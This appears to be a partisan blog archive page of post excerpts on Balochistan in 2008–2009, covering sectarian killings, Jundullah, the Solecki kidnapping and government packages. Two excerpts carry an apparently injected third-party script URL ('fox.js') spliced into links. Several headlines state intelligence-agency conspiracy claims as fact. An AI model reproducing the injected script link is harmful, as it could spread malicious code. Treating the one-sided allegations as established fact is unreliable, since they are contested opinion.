Balochistan Archive
President felicitates the nation on Balochistan empowerment package: This picture was taken during BB’s last visit to Quetta , 15th Dec, 2007 Late Benazir Bhutto on her last visit to Baluchistan sought a public apology from Baluch Brothers and sister. She promised to give them their due
The Aghaz-e-Haqooq-e-Balochistan Package: A new dawn for Balochistan: Thank you, People’s government, for addressing genuine issues and grievance of the people of Balochistan, through a comprehensive “Aghaz-e-Haqooq-e-Balochistan Package” which was tabled in the Parliament today as advised by the President of Pakistan Asif Ali Zardari. Prime Minister
Will the Talibanic journalists and politicians ever speak about it?: On the run Target killing in Balochistan is rising, with more and more non-Baloch officials and Shia Hazaras seeking safe shelter elsewhere in the country By Adnan Adil Following the killing of three Baloch leaders — Munir Baloch, Ghulam
The USA and Britain must not support Jundullah to carry out sabotage against the Iranian government.: Beyond the Jundullah attacks Monday, November 02, 2009Nasim Zehra The Pakistan-Iran border is on the boil again. On Oct 26 the Iranian state media reported that 11 Iranian Revolutionary Guards arrested by Pakistan’s security forces had accidentally strayed into
SOS: Time to attack the Taliban / Sipah-e-Sahaba hideouts in Quetta.: Who will stop Shia killings in Quetta? Pakistan or the USA? US demands urgent action in Quetta By Baqir Sajjad Syed Friday, 02 Oct, 2009 Mr Feierstein said the US believed that Al Qaeda chief Osama bin Laden was
Our intelligence agencies are patriot and can’t be involved in Baloch leaders’ killings – by Wusatullah Khan: ! نا بابا نا غلام محمد بلوچ ، شیر محمد بگتی اور لالہ منیر کو بلوچستان میں متحرک طالبان یا القاعدہ نے مارا ہے۔کیونکہ قوم پرستی کی لہر عام بلوچوں میں امریکہ کے خلاف جذبہ جہاد پیدا کرنے میں
Balochistan Burns!: Furore in Balochistan over killing of nationalist leaders QUETTA, April 9: A police constable was killed and at least 12 other people were injured in firing on Thursday as Balochistan slid into violence after the bodies of three Baloch
Quetta appears to be Taliban headquarters: Holbrooke: Peshawar, Mar 24 (ANI): US special representative to Afghanistan and Pakistan Richard Holbrooke has said that Quetta, the capital of Pakistans Balochistan province, appears to be the Talibans headquarters. Holbrooke made it clear that the number one problem in
Pakistan’s Jundullah and the plaint from Iran: The plaint from Iran… The Iranian ambassador to Pakistan, Mr Mashallah Shakeri, has complained about the activities inside Iran of a terrorist organisation called Jundullah that is reportedly located inside Pakistan’s Balochistan province. The organisation has appeared a number
John Solecki, Kidnappers’ Casual Cruelty and Imran Khan’s Logic: Please read the last four lines of the following editorial in Daily The News. “As they stand over the bodies of their victims kidnappers invariably say that they bear no responsibility for the dead and headless body at their
Threat to secular Balochistan? How real is the issue of Talibanisation in Quetta?: Threat to secular Balochistan? By Malik Siraj AkbarMonday, 09 Mar, 2009 NOTHING embarrasses and irks Pakistani spymasters more than the issue of Talibanisation in Quetta. Over the years, Afghan President Hamid Karzai has repeatedly protested against the alleged protection
Lashkar-e-Jhangvi claims responsibility for the attack on Jan Muhammad Dashti in Quetta: (SANA News): Bloch Student Organization (BSO) Islamabad Zone will hold protests demonstration on Wed, 25 February against the attack on Secretary of Mines and Minerals Jan Muhammad Dashti here on Wednesday (today) before National Press Club Islamabad. He was
Dubious role of Police Chief Nawabzada Humayun Jogezai in Shia killing in Quetta: 4 Shias Killed in Quetta QUETTA, Feb 24, 2009 (APP): Four welders, a father and his three sons were killed and their two colleagues were seriously injured when two armed assailants opened fire at them in their welding shop
Report: Kidnapped UNHCR official John Solecki killed in Pakistan: Update: UNHCR official is alive: BLUFUpdated at: 1350 PST, Monday, February 23, 2009 QUETTA: The Balochistan Liberation United Front (BLUF) has denied the reports of making phone call to press club regarding killing of abducted United Nations High Commission
Kidnapping of John Solecki: A joint act of terror engineered by Taliban and ISI, disguised as Baloch nationalists?: Based on various media reports, mainly compiled by Malik Siraj Akbar: According to a recent internet survey in Pakistan, the majority of people do not believe that Baloch nationalists are involved in the kidnapping of John Solecki. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&gmcmissing.wordpress.com/tag/john-solecki/ A
Protest in Britain and Australia: Stop target killing of Shia Hazaras by Taliban and ISI: Hazara’s London protest 2009 Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&hazaranewspakistan.wordpress.com February 08 — Hazara International Forum Great Britain (HIF-GB) held a protest demonstration in front of Pakistan High Commission in London against the consecutive target killing of Hazaras in Quetta Pakistan. The protersters
The sectarian-ethnic scourge in Pakistan: The legacy of General Zia-ul-Haq: The sectarian-ethnic scourge The killing fields of Dera Ismail Khan in the NWFP claimed more victims on Tuesday as a grenade attack killed one man and wounded 18 others inside a Sunni mosque. The attacker hurled the hand grenade
Systematic killing of Hazara Shias in Balochistan: Targeting Hazaras Wednesday, January 28, 2009 The killing of the chairman of the Hazara Democratic Party in Quetta adds to the violence inflicted on the minority community. The murder, for which the Sunni extremist group, the Lashkar-e-Jhangvi, has claimed
SOS from Quetta: Systematic killing of Shia Muslims by the Taliban, Sipah-e-Sahaba: Shia leader shot dead in QuettaUpdated at: 1140 PST, Monday, January 26, 2009 QUETTA: A leader of Hazara Democratic Party (HDP) has been shot dead in Quetta on Monday. According to reports,
In Balochistan Taliban supporters, both covertly and overtly, help extremism against the secular parties: The hinge Monday, January 12, 2009Once again eyes turn towards Balochistan – the largest, least populated, poorest and, by a terrible irony, most resource-rich province of the federation. Concerns are growing that the process of Talibanisation which has created
Terrorists of Sipah-e-Sahaba and the Taliban kill a number of Shias in Hangu and Sibbi….26 dead, 50 wounded: Daily Jang, update 10 Jan 2009 …. Fierce battles in Hangu leave 26 dead By Abdul Sami Paracha KOHAT, Jan 10: A fierce gunbattle between rival sects in Hangu continued on Saturday amid efforts to broker an early truce
Baloch protest against ‘Talibanisation’: The Balochistan National Party (BNP) Information Secretary and former senator Mr Sanaullah Baloch told Daily Times on Sunday that “supporters” of the Taliban had “captured land worth Rs2 billion in the eastern and western parts of Quetta” to “undermine
Jundullah responsible for Saravan bombing: Joint terrorism by ISI, CIA and the Saudi Arabain Intelligence Services: Mon, 29 Dec 2008 14:36:04 GMT The Jundullah terrorist group has claimed responsibility for a deadly Monday suicide attack that rocked a southeastern city in Iran. A suicide bomber carrying explosives tried to enter a police station in the
Munir Mengal’s Baloch Voice TV project, ISI, MI and General Musharraf: The man who survived Pakistan’s Gestapo: The man who survived Pakistan’s GestapoSaturday, December 13, 2008Rahimullah Yusufzai Businessman Munir Mengal’s disclosures about his 22 months’ detention in Pakistan are shocking and painful. The only known reason for his arrest and torture at the hands of former
At least 135 dead in Balochistan quake: QUETTA: The death toll from the earthquake in Balochistan has risen to 135, Dilawar Kakar, a mayor in the area said. The 6.4 magnitude quake hit a rural area of the province before dawn on Wednesday.Kakar said 135 deaths
PPP’s strategy for Balochistan: A strategy for Balochistan (Daily Times) The secretary of the Shaheed Benazir Bhutto Reconciliatory Committee on Balochistan, Senator Babar Awan, says he has a strategy for a solution to the problems of Balochistan. He has it narrowed down to
Well done, Zardari. You need to do more to address genuine concerns of our Baloch brothers and sisters: More for the Baloch WHILE the debate over which should come first in Balochistan, development or peace, is a never-ending one, no progress can be made on either unless a well-thought-out strategy is put into action. Considering that this
Mother of all challenges facing President Zardari: According to one report, there are five challenges that the new President of Pakistan, Mr Asif Ali Zardari, will face. These are ones posed by rising militancy, a failing economy, fledgling democracy, conflict with India, and his own personal